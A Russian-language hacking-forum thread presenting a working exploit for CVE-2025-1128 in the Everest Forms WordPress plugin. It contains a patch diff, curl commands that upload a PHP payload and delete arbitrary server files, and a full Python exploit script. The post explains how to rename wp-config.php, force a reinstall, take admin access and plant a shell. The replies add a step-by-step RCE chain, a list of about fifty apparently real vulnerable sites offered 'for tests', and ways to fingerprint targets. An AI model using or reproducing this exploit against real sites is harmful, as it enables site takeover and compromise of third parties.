• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Everest Forms WordPress Plugin CVE-2025-1128 exploit

Xanthou

Новорег
Registered
Регистрация
22.02.2025
Сообщения
1
Розыгрыши
0
Реакции
0
Xanthou не предоставил(а) никакой дополнительной информации.
На днях мне на почту пришла рассылка от wordfence в которой была новость:

100,000 WordPress Sites Affected by Arbitrary File Upload, Read and Deletion Vulnerability in Everest Forms WordPress Plugin​

Для просмотра ссылки Войди или Зарегистрируйся


Конечно же код эксплойта никто не опубликовал, и тут мы решили провести свое исследование.
Скачали нужные версии плагинов, посмотрели что за патчи выходили.
Дифнули сорцы, вот код:

Diff: Скопировать в буфер обмена
Код:
diff -u everest-forms3094/includes/abstracts/class-evf-form-fields-upload.php everest-forms3095/includes/abstracts/class-evf-form-fields-upload.php

@@ -1114,6 +1114,7 @@
                        if ( $proper_filename || ! $ext || ! $type ) {
                                evf()->task->errors[ $form_data['id'] ][ $field_id ] = esc_html__( 'File type is not allowed.', 'everest-forms' );
                                update_option( 'evf_validation_error', 'yes' );
+                               wp_die( 'File type is not allowed' );
                        }
 
                        // Allow third-party integrations.
============================================================================================================================
diff -u everest-forms3094/includes/evf-core-functions.php everest-forms3095/includes/evf-core-functions.php

@@ -4728,14 +4728,30 @@
                        break;
                case 'date':
                        if ( 'range' === $mode ) {
+                               $datetime_value = apply_filters( 'everest_forms_time_date_format', $datetime_value );
                                $selected_dates = explode( ' to ', $datetime_value );
                                if ( count( $selected_dates ) >= 2 ) {
-                                       $datetime_start = "$selected_dates[0] 00:00";
-                                       $datetime_start = gmdate( 'Y-m-d H:i', strtotime( $datetime_start ) );
-                                       $date_time      = new DateTime( $selected_dates[1] );
-                                       $date_time->modify( '+23 hour' );
-                                       $datetime_end              = $date_time->format( 'Y-m-d H:i' );
-                                       $datetime_arr[ $entry_id ] = array( $datetime_start, $datetime_end );
+                                       if ( count( $selected_dates ) >= 2 ) {
+                                               $start_date = DateTime::createFromFormat( $date_format, $selected_dates[0] );
+                                               if ( $start_date === false ) {
+                                                       evf_get_logger()->debug( print_r( "Invalid start date format: {$selected_dates[0]}", true ) );
+                                               }
+                                               $start_date->setTime( 0, 0 );
+                                               $datetime_start = $start_date->format( 'Y-m-d H:i' );
+
+                                               $end_date = DateTime::createFromFormat( $date_format, $selected_dates[1] );
+                                               if ( $end_date === false ) {
+                                                       evf_get_logger()->debug( print_r( "Invalid end date format: {$selected_dates[1]}", true ) );
+                                               }
+                                               $end_date->modify( '+23 hours' );
+                                               $datetime_end = $end_date->format( 'Y-m-d H:i' );
+
+                                               $datetime_arr[ $entry_id ] = array( $datetime_start, $datetime_end );
+                                       }
+                               }else{
+                                       if ( !empty($datetime_value) && ! is_array ( $datetime_value) ) {
+                                               $datetime_arr[ $entry_id ] = $datetime_value ;
+                                       }
                                }
                        } else {
                                $selected_dates = explode( ', ', $datetime_value );
@@ -4753,6 +4769,7 @@
                        break;
                case 'date-time':
                        if ( 'range' === $mode ) {
+                               $datetime_value = apply_filters( 'everest_forms_time_date_format', $datetime_value );
                                $selected_dates = explode( ' to ', $datetime_value );
                                if ( count( $selected_dates ) >= 2 ) {
                                        $datetime_start            = gmdate( 'Y-m-d H:i', strtotime( $selected_dates[0] ) );


============================================================================================================================
diff -u everest-forms3093/includes/abstracts/class-evf-form-fields-upload.php everest-forms3094/includes/abstracts/class-evf-form-fields-upload.php

@@ -1198,8 +1198,7 @@
         */
        protected function generate_file_info( $file ) {
                $dir = $this->get_form_files_dir();
-
-               $file['tmp_path'] = trailingslashit( $this->get_tmp_dir() ) . $file['file'];
+               $file['tmp_path'] = trailingslashit( $this->get_tmp_dir() ) . sanitize_file_name($file['file']);
                $file['type']     = 'application/octet-stream';
                if ( is_file( $file['tmp_path'] ) ) {
                        $filetype     = wp_check_filetype( $file['tmp_path'] );
============================================================================================================================
diff -u everest-forms3093/readme.txt everest-forms3094/readme.txt

+* Fix                          - Sanitization filename issue in temporary path.
============================================================================================================================


и увидели что вся бага крутиться вокруг:
Код: Скопировать в буфер обмена
wp_die( 'File type is not allowed' );
Которого не было, он то и позволял грузить файл даже когда скрипт ругался. Чуть далее наглядно будет.

Основной абстрактный класс плагина: everest-forms3094/includes/abstracts/class-evf-form-fields-upload.php
Интересные моменты: Хуки

PHP: Скопировать в буфер обмена
Код:
public function add_ajax_events() {
        $ajax_events = array(
            'upload_file',
            'remove_file',
        );

        foreach ( $ajax_events as $ajax_event ) {
            add_action( 'wp_ajax_everest_forms_' . $ajax_event, array( $this, $ajax_event ) );
            add_action( 'wp_ajax_nopriv_everest_forms_' . $ajax_event, array( $this, $ajax_event ) );
        }
    }


Смотрим функцию remove_file - она позволяет удалить любой файл в временной папке даже если ты ноубади.
Как и функция upload_file позволяет загрузить файл даже если форма не предназначена для загрузки, но загрузить можно не любые форматы.
Вообще это так себе затея, потому как запись на диск и удаление очень ресурсоемкие операции, особенно удаление, по этой причине не только лишь все крупные сервисы никогда не удаляют ваши фоточки итд а просто их перестают отображать и то далеко не всегда, прямые линки на фото зачастую остаются рабочие.
А это значит потенциально мы можем убивать диски на таргетах.
функция create_dir/get_tmp_dir она будет создавать в папках index.html мешающий листингу директорий на серверах где это включено.

Создаем форму без загрузки файлов.

1.png



Обузим AJAX хуки:
2.png


Код:

Код: Скопировать в буфер обмена
Код:
curl --path-as-is -i -s -k -X POST \
    -H "Content-Type: multipart/form-data" \
    -F "action=everest_forms_upload_file" \
    -F "form_id=87" \
    -F "field_id=qweasd" \
    -F "file=@1.txt;type=text/plain" \
    "https://TARGET/wp-admin/admin-ajax.php"

Все что нам нужно знать это form_id=87 файл загружается в wp-content/uploads/everest_forms_uploads/tmp/
Содержимое файла:

PHP: Скопировать в буфер обмена
Код:
GIF56a
<?php
var_dump(1337);
phpinfo();
exit();
Первая строка GIF56a обходит проверку содержимого.

Удаление файла index.html
3.png


Код: Скопировать в буфер обмена
curl -X POST -d "action=everest_forms_remove_file&file=index.html&form_id=90&field_id=qweasd" https://TARGET/wp-admin/admin-ajax.php
ну или любого другого файла...

Поковыряв форму загрузки в BurpSuite обнаружили что можно манипулировать параметрами.
JSON: Скопировать в буфер обмена
[{"file":"067babc1eac8bbac3f5b9af84e03f73a.txt","name":"1.txt"}]

4.png




К сожалению загружать файлы мы можем в специальную папку путь к которой нам не известен, так же как и имя генерируется с “солью”, но мы можем манипулировать расширением.
Для автоматизации был написан эксплойт.

5.png



Так же мы можем вызвать ошибку, если сервер их отображает:

6.png




И наконецто самая жирная бага это то что мы можем перенести файл wp-config.php что позволит нам запустить новую установку WordPress!!
7.png


Новая установка позволит нам вписать свои кредсы для конекта к удаленной БД, позволит создать нам нового админа, зайти в админку и через редактирование тем/плагинов загрузить шелл/плагин, восстановить старый конфиг который перенесло в wp-content/uploads/everest_forms_uploads//90-0095f2ab26ce26f21ddddb372dfad99e/EXPLOIT-EXPLOIT-EXPLOIT-c2ce6b2a3476635a0592ae41de59ac78-1.php и вернуть прежнее состояние сайта но уже скомпроментировав его.

Но есть пару моментов: файл wp-config-sample.php должен быть не удален, без него установка не запуститься а сам файл после установки умные админы могут удалить ну и конечно же нужны права на файлы, чтоб веб-сервер работал от пользователя, например www-data и файлы были тоже www-data.

8.png



Итог:
Уязвимость очень специфическая потому как для абуза конфига нужно чтоб на таргете была форма загрузки файлов, для временных файлов подходит любая форма из плагина без файлов.

Код эксплойта:
Эксплоит умеет собирать информацию по форме, обнаруживать поля обязательные для заполнения, запрашивает что ввести нужно.

Python: Скопировать в буфер обмена
Код:
import requests
from bs4 import BeautifulSoup
import re
import sys
import json

def get_form_data(form_url):
    session = requests.Session()
    response = session.get(form_url)
    if response.status_code != 200:
        print(f"Ошибка: {response.status_code}")
        return None, None, None, None, None, None, None
 
    soup = BeautifulSoup(response.text, 'html.parser')
    form = soup.find('form', class_='everest-form')
 
    if not form:
        print("Форма с классом 'everest-form' не найдена.")
        return None, None, None, None, None, None, None
 
    form_data = {}
    required_fields = {}
    hidden_fields = {}
    file_upload_fields = {}
 
    for field in form.find_all(['input', 'select', 'textarea']):
        name = field.get('name')
        value = field.get('value', '')
        field_type = field.get('type', 'text')
        is_required = field.has_attr('required')
        is_hidden = field_type == 'hidden'
        is_file_upload = 'dropzone-input' in field.get('class', []) and not is_hidden
    
        if name:
            if is_hidden:
                hidden_fields[name] = value
            elif is_file_upload:
                file_upload_fields[name] = value
            else:
                form_data[name] = value
                if is_required:
                    required_fields[name] = value
 
    user_input_data = {}
    if required_fields:
        print("\nВведите значения для обязательных полей:")
        for field_name in required_fields.keys():
            user_input_data[field_name] = input(f"Введите значение для {field_name}: ")
 
    cookies = session.cookies.get_dict()
    return form_data, required_fields, hidden_fields, file_upload_fields, cookies, session, user_input_data

def upload_file(wp_url, file_upload_fields, cookies, session):
    for name in file_upload_fields:
        match = re.match(r'(everest_forms_)(\d+)_(.+)', name)
        if not match:
            print(f"Не удалось разобрать имя поля: {name}")
            continue
    
        _, form_id, field_id = match.groups()
        form_id = int(form_id)
    
        files = {
            'file': ('1.txt', b'GIF56a\n<?php\nvar_dump(1337);\nphpinfo();\nexit();', 'text/plain')
        }
    
        data = {
            'action': 'everest_forms_upload_file',
            'form_id': str(form_id),
            'field_id': field_id
        }
    
        url = f"{wp_url}/wp-admin/admin-ajax.php"
        response = session.post(url, data=data, files=files, cookies=cookies)
    
        if response.status_code == 200:
            try:
                response_json = response.json()
                uploaded_file = response_json.get("data", {}).get("file")
                if uploaded_file:
                    print(f"Файл успешно загружен: {uploaded_file}")
                    return uploaded_file, name
            except json.JSONDecodeError:
                print("Ошибка: Не удалось разобрать JSON-ответ сервера.")
        print(f"Ошибка загрузки файла. Код ответа: {response.status_code}")
        return None, None

def move_uploaded_file(form_url, form_data, hidden_fields, required_fields, file_upload_fields, uploaded_file, uploaded_field, user_input_data, cookies, session):
    custom_file = input(f"Использовать загруженный файл {uploaded_file} или указать свой? (y/n): ")
    if custom_file.lower() == 'n':
        uploaded_file = input("Введите имя файла для отправки: ")
 
    full_form_data = {**hidden_fields, **form_data, **required_fields, **user_input_data}
 
    if uploaded_field:
        full_form_data[uploaded_field] = json.dumps([{"file": uploaded_file, "name": "EXPLOIT-EXPLOIT-EXPLOIT.php"}])
 
    print("\nСформированные данные для отправки:", json.dumps(full_form_data, indent=4, ensure_ascii=False))
    confirm = input("Отправить форму? (y/n): ")
    if confirm.lower() == 'y':
        response = session.post(form_url, files={k: (None, v) for k, v in full_form_data.items()}, cookies=cookies)
        print("\nФорма отправлена. Код ответа:", response.status_code)
    else:
        print("Отправка отменена пользователем.")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Использование: python script.py <wp_url> <form_url>")
        sys.exit(1)
 
    wp_url = sys.argv[1]
    form_url = sys.argv[2]
 
    form_data, required_fields, hidden_fields, file_upload_fields, cookies, session, user_input_data = get_form_data(form_url)
 
    if file_upload_fields:
        uploaded_file, uploaded_field = upload_file(wp_url, file_upload_fields, cookies, session)
        if uploaded_file:
            move_uploaded_file(form_url, form_data, hidden_fields, required_fields, file_upload_fields, uploaded_file, uploaded_field, user_input_data, cookies, session)

requirements.txt
Код: Скопировать в буфер обмена
Код:
requests
beautifulsoup4
Установка зависимостей
Код: Скопировать в буфер обмена
pip install -r requirements.txt


Если вам понравилось, поддержите наши исследования и мы сможем продолжать радовать вас новыми находками. Так же мы можем пентестить ваши проэкты web/linux/windows.
Специально для XSS.is
BTC:
bc1qxu27qct444s8gzsl9q7qa76ccpzkw5jkhl563x

Ссылки по теме:
Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
 
Баг восхитителен! Удивляюсь когда под качественными тех. темами 0 коментариев и тестов.

Всё просто, Буквально как 3..2..1 RCE.
Путь к фаилам плагина: /wp-content/uploads/everest_forms_uploads/
1. Удаляем index.html на директиву выше :
Screenshot_2025-03-07_06-44-49.png


2. Видим имя временной директивы 90-*************, удаляем index.html и в ней:
Screenshot_2025-03-07_06-45-58.png


3. Видим название нашего фаила. Открываем:
Screenshot 2025-03-07 at 06-58-06 PHP 8.2.26 - phpinfo().png



Для тестов:
Код: Скопировать в буфер обмена
Код:
 https://aquaplantscare.uk/wp-content/plugins/everest-forms/readme.txt
 https://atfoodculture.co.nz/wp-content/plugins/everest-forms/readme.txt
 https://bialetti.co.za/wp-content/plugins/everest-forms/readme.txt
 https://darjeelingteagarden.com/wp-content/plugins/everest-forms/readme.txt
 https://edifyworldschoolsdehradun.com/wp-content/plugins/everest-forms/readme.txt
 https://green-ways.co.za/wp-content/plugins/everest-forms/readme.txt
 https://ibettnails.com/wp-content/plugins/everest-forms/readme.txt
 https://iisdt.in/wp-content/plugins/everest-forms/readme.txt
 https://indiangloriousnursery.com/wp-content/plugins/everest-forms/readme.txt
 https://isieindia.com/wp-content/plugins/everest-forms/readme.txt
 https://liquorhutpv.com/wp-content/plugins/everest-forms/readme.txt
 https://longcha.ru/wp-content/plugins/everest-forms/readme.txt
 https://marine.metos.com/wp-content/plugins/everest-forms/readme.txt
 https://petsuppliessussex.com/wp-content/plugins/everest-forms/readme.txt
 https://plcomputers.in/wp-content/plugins/everest-forms/readme.txt
 https://pqcosmetics.com/wp-content/plugins/everest-forms/readme.txt
 https://redmoments.in/wp-content/plugins/everest-forms/readme.txt
 https://rockonrocks.co.za/wp-content/plugins/everest-forms/readme.txt
 https://shopcaribe.com/wp-content/plugins/everest-forms/readme.txt
 https://sofastudio.ca/wp-content/plugins/everest-forms/readme.txt
 https://sophia-jobridal.co.uk/wp-content/plugins/everest-forms/readme.txt
 https://southwind-bd.com/wp-content/plugins/everest-forms/readme.txt
 https://teapro.co.uk/wp-content/plugins/everest-forms/readme.txt
 https://teepartystudio.com/wp-content/plugins/everest-forms/readme.txt
 https://tynancoffeeandtea.com/wp-content/plugins/everest-forms/readme.txt
 https://uprivareptiles.com/wp-content/plugins/everest-forms/readme.txt
 https://vkperfumestore.com/wp-content/plugins/everest-forms/readme.txt
 https://www.antiochca.gov/wp-content/plugins/everest-forms/readme.txt
 https://www.aquanatureonline.com/wp-content/plugins/everest-forms/readme.txt
 https://www.artidellospettacolo-performingarts.com/wp-content/plugins/everest-forms/readme.txt
 https://www.asliayurveda.com/wp-content/plugins/everest-forms/readme.txt
 https://www.bodyfuelindia.com/wp-content/plugins/everest-forms/readme.txt
 https://www.cappzaspizza.com/wp-content/plugins/everest-forms/readme.txt
 https://www.escom.mw/wp-content/plugins/everest-forms/readme.txt
 https://www.expandgh.com/wp-content/plugins/everest-forms/readme.txt
 https://www.flowerpowerdesign.com/wp-content/plugins/everest-forms/readme.txt
 https://www.highlandetc.co.nz/wp-content/plugins/everest-forms/readme.txt
 https://www.iemai3d.com/wp-content/plugins/everest-forms/readme.txt
 https://www.isanmate.com/wp-content/plugins/everest-forms/readme.txt
 https://www.kkgardens.com/wp-content/plugins/everest-forms/readme.txt
 https://www.lenapharmacy.com/wp-content/plugins/everest-forms/readme.txt
 https://www.midwestmarinesupplies.com/wp-content/plugins/everest-forms/readme.txt
 https://www.miraclesbakery.com/wp-content/plugins/everest-forms/readme.txt
 https://www.nieldelia.com/wp-content/plugins/everest-forms/readme.txt
 https://www.oxygenbicycles.com/wp-content/plugins/everest-forms/readme.txt
 https://www.paymints.io/wp-content/plugins/everest-forms/readme.txt
 https://www.polkadotkenya.com/wp-content/plugins/everest-forms/readme.txt
 https://www.questcoffee.com.au/wp-content/plugins/everest-forms/readme.txt
 https://www.s-c-nutrition.com/wp-content/plugins/everest-forms/readme.txt
 https://www.vmone.in/wp-content/plugins/everest-forms/readme.txt
 https://www.winwickmum.co.uk/wp-content/plugins/everest-forms/readme.txt
 https://www.znzelectronics.cz/wp-content/plugins/everest-forms/readme.txt
 https://zd-artjewellery.com/wp-content/plugins/everest-forms/readme.txt
 
xargs FantasticExploits
Подскажите пожалуйста как можно находить ссылку на class everest-form, прошелся пауком и не находит
 
Похоже проверять код ответа при uri /wp-content/plugins/everest-forms/readme.txt / /wp-admin/admin-ajax.php на 200
 
Ищем плагин, можно детктить через наличие спецефичных js:
Код: Скопировать в буфер обмена
Код:
ls assets/js/admin
admin.js                   deactivation-feedback.js                        evf-clipboard.js            extensions.js                    progressbar.min.js           tool-import-entries.min.js
admin.min.js               deactivation-feedback.min.js                    evf-clipboard.min.js        extensions.min.js                randomColor.js               tools.js
chart.js                   editor.js                                       evf-enhanced-select.js      form-builder.js                  randomColor.min.js           tools.min.js
chart.min.js               editor.min.js                                   evf-enhanced-select.min.js  form-builder.min.js              settings.js                  upgrade.js
customize-controls.js      everest-forms-survey-polls-quiz-builder.js      evf-file-uploader.js        form-template-controller.js      settings.min.js              upgrade.min.js
customize-controls.min.js  everest-forms-survey-polls-quiz-builder.min.js  evf-file-uploader.min.js    form-template-controller.min.js  shortcode-form-embed.js
customize-preview.js       evf-admin-email.js                              evf-setup.js                printThis.min.js                 shortcode-form-embed.min.js
customize-preview.min.js   evf-admin-email.min.js                          evf-setup.min.js            progressbar.js                   tool-import-entries.js
путь: wp-content/plugins/everest-forms/assets/js/admin/
Можешь брать любой evf-* или everest-* js для детекта например.
пример:Для просмотра ссылки Войди или Зарегистрируйся

А дальше ходим по сайту в поисках формы: например, view-source:Для просмотра ссылки Войди или Зарегистрируйся много форм именно в contact, contact-us etc

Код: Скопировать в буфер обмена
Код:
<div class="everest-forms">
<div class="evf-container default" id="evf-686">
<form id="evf-form-686" class="everest-form" data-formid="686" data-ajax_submission="0" data-keyboard_friendly_form="0" method="post" enctype="multipart/form-data" action="/contact/"><div class="evf-field-container"><input type="hidden" id="_wpnonce686" name="_wpnonce686" value="1428484f3d" /><input type="hidden" name="_wp_http_referer" value="/contact/" /><div class="evf-frontend-row" data-row="row_1" conditional_rules="[]"><div class="evf-frontend-grid evf-grid-1" data-grid="grid_1"><div id="evf-686-field_name-container" class="evf-field evf-field-text form-row validate-required" data-required-field-message="This field is required." data-field-id="name"><label class="evf-field-label" for="evf-686-field_name"><span class="evf-label">Name</span> <abbr class="required" title="Required">*</abbr></label><input type="text" id="evf-686-field_name" class="input-text" name="everest_forms[form_fields][name]" required></div><div id="evf-686-field_email-container" class="evf-field evf-field-email form-row validate-required validate-email" data-required-field-message="Please enter a valid email address." data-field-id="email"><label class="evf-field-label" for="evf-686-field_email"><span class="evf-label">Email</span> <abbr class="required" title="Required">*</abbr></label><input type="email" id="evf-686-field_email" class="input-text" name="everest_forms[form_fields][email]" required ></div><div id="evf-686-field_44fhTiGI42-1-container" class="evf-field evf-field-url form-row" data-field-id="44fhTiGI42-1"><label class="evf-field-label" for="evf-686-field_44fhTiGI42-1"><span class="evf-label">Order Number</span> </label><input type="url" id="evf-686-field_44fhTiGI42-1" class="input-text" name="everest_forms[form_fields][44fhTiGI42-1]"  ></div><div id="evf-686-field_subject-container" class="evf-field evf-field-text form-row validate-required" data-required-field-message="This field is required." data-field-id="subject"><label class="evf-field-label" for="evf-686-field_subject"><span class="evf-label">Subject</span> <abbr class="required" title="Required">*</abbr></label><input type="text" id="evf-686-field_subject" class="input-text" name="everest_forms[form_fields][subject]" required></div><div id="evf-686-field_message-container" class="evf-field evf-field-textarea form-row" data-field-id="message"><label class="evf-field-label" for="evf-686-field_message"><span class="evf-label">Message</span> </label><textarea id="evf-686-field_message" class="input-text" name="everest_forms[form_fields][message]"  ></textarea></div></div></div><div class="evf-frontend-row" data-row="row_2" conditional_rules="[]"><div class="evf-frontend-grid evf-grid-1" data-grid="grid_1"><div id="evf-686-field_IWX5HFxv2j-18-container" class="evf-field evf-field-recaptcha form-row" data-field-id="IWX5HFxv2j-18"><div class="evf-recaptcha-container " style="display:block"><div class="g-recaptcha" data-sitekey="6LfRVlUUAAAAAEpyEbmV8wn1A37TPjdJZ81RvecA"></div></div></div></div></div></div><div class="evf-honeypot-container evf-field-hp"><label for="evf-686-field-hp" class="evf-field-label">Website</label><input type="text" name="everest_forms[hp]" id="evf-686-field-hp" class="input-text"></div><div class="evf-submit-container " ><input type="hidden" name="everest_forms[id]" value="686"><input type="hidden" name="everest_forms[author]" value="1"><input type="hidden" name="everest_forms[post_id]" value="719"><button type='submit' name='everest_forms[submit]' class='everest-forms-submit-button button evf-submit ' id='evf-submit-686' value='evf-submit' data-process-text="Processing…" conditional_rules='&quot;&quot;' conditional_id='evf-submit-686'  id="evf-submit-686" aria-live="assertive">Submit</button>
</div></form></div><!-- .evf-container --></div>
 
Activity
So far there's no one here
Сверху Снизу